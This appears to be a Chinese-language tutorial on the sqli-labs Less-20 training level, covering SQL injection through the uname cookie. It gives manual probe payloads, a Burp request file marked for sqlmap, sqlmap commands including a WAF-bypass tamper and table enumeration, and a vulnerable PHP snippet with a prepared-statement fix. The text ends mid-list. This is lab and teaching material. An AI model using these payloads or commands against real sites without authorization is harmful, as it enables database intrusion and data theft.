Less-20是sqli-labs系列中典型的Cookie注入漏洞场景,与常规GET/POST注入不同,这里需要处理HTTP头部认证机制。该关卡模拟了开发者在Cookie中直接拼接用户输入导致的认证绕过漏洞,主要考察以下技术点:
我使用Burp Suite+sqlmap组合进行自动化测试时,发现需要特殊处理以下特征:
uname参数但隐藏在Cookie中首先用浏览器正常登录后,通过开发者工具观察到关键Cookie格式:
code复制Cookie: uname=admin; PHPSESSID=xxx
手动修改uname值为admin'触发报错,确认存在SQL注入漏洞。典型错误提示:
sql复制You have an error in your SQL syntax... near ''admin'' LIMIT 0,1'
通过经典探测链确认漏洞特征:
admin' and '1'='1 返回正常admin' and '1'='2 返回空admin' order by 5--+ 确认字段数确定为字符型报错注入,可联合查询。
保存包含完整会话的请求到文件req.txt:
code复制GET /Less-20/index.php HTTP/1.1
Host: localhost
Cookie: uname=admin*; PHPSESSID=xxx
...
在注入点标记*号位置。
执行命令:
bash复制sqlmap -r req.txt --level=3 --risk=3 --technique=E --batch
参数解析:
--level=3:检测Cookie头部--risk=3:允许使用OR注入--technique=E:优先报错注入添加以下参数保证会话有效:
bash复制--flush-session --keep-alive --eval="import time;time.sleep(1)"
| 错误类型 | 解决方案 |
|---|---|
| 302重定向循环 | 添加--ignore-redirects |
| 会话超时 | 使用--csrf-token参数 |
| WAF拦截 | 启用--tamper=space2comment |
获取表结构时推荐参数组合:
bash复制--tables -D security --exclude-sysdbs --threads=3
php复制// 错误示例
$uname = $_COOKIE['uname'];
$sql = "SELECT * FROM users WHERE username='$uname'";
// 修复方案
$uname = $mysqli->real_escape_string($_COOKIE['uname']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username=?");
$stmt->bind_param("s", $uname);
编写检测脚本时应包含: